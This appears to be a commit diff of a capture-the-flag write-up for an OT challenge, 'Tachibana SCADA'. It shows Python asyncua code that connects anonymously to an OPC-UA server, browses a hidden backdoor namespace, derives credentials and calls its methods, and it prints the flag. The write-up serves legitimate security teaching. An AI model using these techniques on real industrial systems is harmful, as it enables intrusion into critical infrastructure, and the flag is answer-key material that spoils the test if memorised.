write-up: OT/Tachibana_SCADA/README.md
This commit is contained in:
parent
8049f2b3a7
commit
9a56e942fc
@ -1,76 +1,159 @@
|
|||||||
# Tachibana SCADA -- Solution
|
# Tachibana SCADA
|
||||||
|
|
||||||
## Overview
|
| Field | Value |
|
||||||
OPC-UA server simulating Tachibana General Laboratories' SCADA system.
|
|-------|-------|
|
||||||
The server allows anonymous connections (SecurityPolicy None) and contains
|
| Category | OT |
|
||||||
a hidden namespace with Eiri Masami's backdoor methods.
|
| Difficulty | Medium-Hard |
|
||||||
|
| Points | 500 |
|
||||||
|
| Author | Eun0us |
|
||||||
|
| CTF | Espilon 2026 |
|
||||||
|
|
||||||
## Steps
|
---
|
||||||
|
|
||||||
### 1. Connect Anonymously
|
## Description
|
||||||
Connect to `opc.tcp://HOST:4840/tachibana/` without credentials.
|
|
||||||
The server accepts anonymous connections -- a common OT misconfiguration.
|
After the KIDS incident, forensic investigators found an OPC-UA server still running on
|
||||||
|
the isolated SCADA segment at Tachibana General Laboratories.
|
||||||
|
|
||||||
|
The server allows anonymous connections. Beneath the standard industrial data, there is a
|
||||||
|
hidden namespace registered by Eiri Masami before his termination.
|
||||||
|
|
||||||
|
Browse the address space. Find the hidden namespace. There is a method that was never meant
|
||||||
|
to be called.
|
||||||
|
|
||||||
|
- OPC-UA Binary: `tcp/<host>:4840`
|
||||||
|
|
||||||
|
Format: **ESPILON{flag}**
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## TL;DR
|
||||||
|
|
||||||
|
Connect anonymously to the OPC-UA server. Read the namespace array to find the hidden
|
||||||
|
`urn:tachibana:eiri:kids` namespace. Browse it to find `Backdoor/Authenticate` and
|
||||||
|
`Backdoor/ExtractResearchData` methods. Derive credentials from the namespace URI
|
||||||
|
(username=`eiri`, key_hash=`SHA256("KIDS")[:16]`). Call Authenticate, then call
|
||||||
|
ExtractResearchData with `project_id=7` to get the flag.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Tools
|
||||||
|
|
||||||
|
| Tool | Purpose |
|
||||||
|
|------|---------|
|
||||||
|
| Python 3 + `asyncua` | OPC-UA async client |
|
||||||
|
| Python 3 + `hashlib` | SHA-256 key hash derivation |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Solution
|
||||||
|
|
||||||
|
### Step 1 — Connect anonymously
|
||||||
|
|
||||||
```python
|
```python
|
||||||
|
import asyncio
|
||||||
from asyncua import Client
|
from asyncua import Client
|
||||||
client = Client("opc.tcp://HOST:4840/tachibana/")
|
|
||||||
await client.connect()
|
async def exploit():
|
||||||
|
async with Client("opc.tcp://<HOST>:4840/tachibana/") as c:
|
||||||
|
# Step 2: discover namespaces
|
||||||
|
ns_array = await c.get_namespace_array()
|
||||||
|
print(ns_array)
|
||||||
```
|
```
|
||||||
|
|
||||||
### 2. Discover Namespaces
|
```
|
||||||
Read the `Server.NamespaceArray` to discover all registered namespaces:
|
['http://opcfoundation.org/UA/',
|
||||||
- `ns=0`: OPC-UA standard
|
'urn:tachibana:scada', ← public SCADA data
|
||||||
- `ns=1`: Server internal
|
'urn:tachibana:eiri:kids'] ← HIDDEN namespace
|
||||||
- `ns=2`: `urn:tachibana:scada` (public SCADA data)
|
```
|
||||||
- `ns=3`: `urn:tachibana:eiri:kids` (hidden!)
|
|
||||||
|
> 📸 `[screenshot: NamespaceArray showing the hidden eiri:kids namespace at index 3]`
|
||||||
|
|
||||||
|
### Step 2 — Browse the public namespace (ns=2)
|
||||||
|
|
||||||
|
Standard SCADA data: power distribution, cooling systems, Wired Interface Array.
|
||||||
|
Note `Resonance_Hz = 7.83` — a Schumann resonance breadcrumb.
|
||||||
|
|
||||||
|
### Step 3 — Browse the hidden namespace (ns=3)
|
||||||
|
|
||||||
```python
|
```python
|
||||||
ns_array = await client.get_namespace_array()
|
async with Client("opc.tcp://<HOST>:4840/tachibana/") as c:
|
||||||
|
ns = await c.get_namespace_index("urn:tachibana:eiri:kids")
|
||||||
|
root = c.nodes.root
|
||||||
|
|
||||||
|
eiri = await root.get_child([f"0:Objects", f"{ns}:EiriMasami"])
|
||||||
|
kids = await eiri.get_child(f"{ns}:KIDS_Project")
|
||||||
|
bkdr = await eiri.get_child(f"{ns}:Backdoor")
|
||||||
|
|
||||||
|
# Variables inside KIDS_Project
|
||||||
|
subject_count = await (await kids.get_child(f"{ns}:SubjectCount")).get_value()
|
||||||
|
protocol7_version = await (await kids.get_child(f"{ns}:Protocol7_Version")).get_value()
|
||||||
|
# Protocol7_Version = "7.0.0-alpha" → project_id = 7
|
||||||
|
|
||||||
|
# Methods inside Backdoor
|
||||||
|
auth_method = await bkdr.get_child(f"{ns}:Authenticate")
|
||||||
|
extract_method = await bkdr.get_child(f"{ns}:ExtractResearchData")
|
||||||
```
|
```
|
||||||
|
|
||||||
### 3. Browse Public Namespace (ns=2)
|
> 📸 `[screenshot: browse output showing EiriMasami folder with KIDS_Project and Backdoor subfolders]`
|
||||||
Standard SCADA data: power distribution, cooling systems, Wired Interface Array.
|
|
||||||
Note `Resonance_Hz = 7.83` (Schumann resonance breadcrumb).
|
|
||||||
|
|
||||||
### 4. Browse Hidden Namespace (ns=3)
|
### Step 4 — Read method argument descriptions
|
||||||
Navigate to `EiriMasami` folder:
|
|
||||||
- `KIDS_Project/` contains variables: `SubjectCount=0`, `Protocol7_Version="7.0.0-alpha"`, `Activation_Key="????????"`
|
|
||||||
- `Backdoor/` contains two methods: `Authenticate` and `ExtractResearchData`
|
|
||||||
|
|
||||||
### 5. Analyze Method Signatures
|
`Authenticate(username: String, key_hash: ByteString) -> session_token: String`
|
||||||
Read the `InputArguments` property of each method:
|
|
||||||
- `Authenticate(username: String, key_hash: ByteString) -> session_token: String`
|
|
||||||
- `ExtractResearchData(session_token: String, project_id: UInt32) -> data: String`
|
|
||||||
|
|
||||||
The `key_hash` description says: "16-byte truncated SHA-256 of the project name"
|
The `key_hash` InputArguments description says:
|
||||||
|
*"16-byte truncated SHA-256 of the project name"*
|
||||||
|
|
||||||
### 6. Derive Credentials
|
### Step 5 — Derive credentials
|
||||||
- **username**: `eiri` (from namespace URI `urn:tachibana:eiri:kids`)
|
|
||||||
- **key_hash**: `SHA256("KIDS")[:16]` (KIDS = project name from the namespace)
|
- **username**: `eiri` — from the namespace URI `urn:tachibana:eiri:kids`
|
||||||
|
- **key_hash**: SHA-256 of the project name, truncated to 16 bytes
|
||||||
|
|
||||||
```python
|
```python
|
||||||
import hashlib
|
import hashlib
|
||||||
|
|
||||||
|
# Project name = "KIDS" — from the namespace path urn:tachibana:eiri:kids
|
||||||
key_hash = hashlib.sha256(b"KIDS").digest()[:16]
|
key_hash = hashlib.sha256(b"KIDS").digest()[:16]
|
||||||
```
|
```
|
||||||
|
|
||||||
### 7. Authenticate
|
> 📸 `[screenshot: key_hash computation in Python REPL]`
|
||||||
Call the `Authenticate` method with the derived credentials.
|
|
||||||
Returns a hex session token valid for 5 minutes.
|
|
||||||
|
|
||||||
### 8. Extract Protocol Seven
|
### Step 6 — Authenticate
|
||||||
Call `ExtractResearchData` with the session token and `project_id=7`
|
|
||||||
(from `Protocol7_Version = "7.0.0-alpha"` -- project number 7).
|
|
||||||
|
|
||||||
Returns the flag.
|
```python
|
||||||
|
async with Client("opc.tcp://<HOST>:4840/tachibana/") as c:
|
||||||
|
ns = await c.get_namespace_index("urn:tachibana:eiri:kids")
|
||||||
|
bkdr = await c.nodes.root.get_child(
|
||||||
|
[f"0:Objects", f"{ns}:EiriMasami", f"{ns}:Backdoor"])
|
||||||
|
|
||||||
## Key Insights
|
auth_method = await bkdr.get_child(f"{ns}:Authenticate")
|
||||||
- The namespace URI `urn:tachibana:eiri:kids` directly contains the username ("eiri") and hash source ("kids")
|
result = await c.nodes.root.call_method(
|
||||||
- `Protocol7_Version = "7.0.0-alpha"` hints that `project_id = 7`
|
auth_method, "eiri", key_hash)
|
||||||
- Anonymous OPC-UA access is a real-world ICS misconfiguration
|
session_token = result[0]
|
||||||
- Method argument descriptions provide hints about the expected input format
|
print(f"Token: {session_token}")
|
||||||
|
```
|
||||||
|
|
||||||
|
### Step 7 — Extract Protocol Seven (project_id=7)
|
||||||
|
|
||||||
|
```python
|
||||||
|
extract_method = await bkdr.get_child(f"{ns}:ExtractResearchData")
|
||||||
|
data = await c.nodes.root.call_method(
|
||||||
|
extract_method, session_token, 7)
|
||||||
|
print(data[0]) # ESPILON{31r1_k1ds_pr0t0c0l_s3v3n}
|
||||||
|
```
|
||||||
|
|
||||||
|
> 📸 `[screenshot: ExtractResearchData method call returning the flag]`
|
||||||
|
|
||||||
|
### Key insights
|
||||||
|
|
||||||
|
- Namespace URI `urn:tachibana:eiri:kids` directly embeds both the username (`eiri`)
|
||||||
|
and the hash source (`kids`)
|
||||||
|
- `Protocol7_Version = "7.0.0-alpha"` encodes `project_id = 7`
|
||||||
|
- Anonymous OPC-UA access is a real-world ICS misconfiguration — no authentication required
|
||||||
|
- Method argument `description` properties provide all hints needed
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
## Flag
|
## Flag
|
||||||
`ESPILON{31r1_k1ds_pr0t0c0l_s3v3n}`
|
|
||||||
|
|
||||||
## Author
|
`ESPILON{31r1_k1ds_pr0t0c0l_s3v3n}`
|
||||||
Eun0us
|
|
||||||
|
|||||||
Loading…
Reference in New Issue
Block a user